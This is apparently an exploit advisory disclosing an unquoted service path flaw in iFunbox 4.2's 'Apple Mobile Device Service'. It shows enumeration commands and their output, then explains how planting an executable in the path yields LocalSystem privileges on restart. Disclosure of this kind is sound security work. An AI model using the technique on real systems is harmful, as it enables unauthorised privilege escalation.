IFunbox 4.2 – ‘Apple Mobile Device Service’ Unquoted Service Path

# Exploit Title: iFunbox 4.2 - 'Apple Mobile Device Service' Unquoted Service Path
# Date: 2021-06-18
# Exploit Author: Julio Aviña
# Vendor Homepage: https://www.i-funbox.com/en/index.html
# Software Link: https://www.i-funbox.com/download/ifunbox_setup_4.2.exe
# Version: 4.2
# Service File Version: 486.0.2.23
# Tested on: Windows 10 Pro x64 es 
# Vulnerability Type: Unquoted Service Path


# 1. To find the unquoted service path vulnerability

C:\>wmic service where 'name like "%Apple Mobile Device Service%"' get displayname, pathname, startmode, startname

DisplayName                  PathName                                                                                    StartMode  StartName
Apple Mobile Device Service  C:\Program Files (x86)\i-Funbox DevTeam\Mobile Device Support\AppleMobileDeviceService.exe  Auto       LocalSystem

# 2. To check service info:

C:\>sc qc "Apple Mobile Device Service"
SC QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: Apple Mobile Device Service
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\i-Funbox DevTeam\Mobile Device Support\AppleMobileDeviceService.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Apple Mobile Device Service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem


# 3. Exploit:

A successful attempt to exploit this vulnerability requires the attacker to insert an executable file into the service path undetected by the OS or some security application.
When restarting the service or the system, the inserted executable will run with elevated privileges.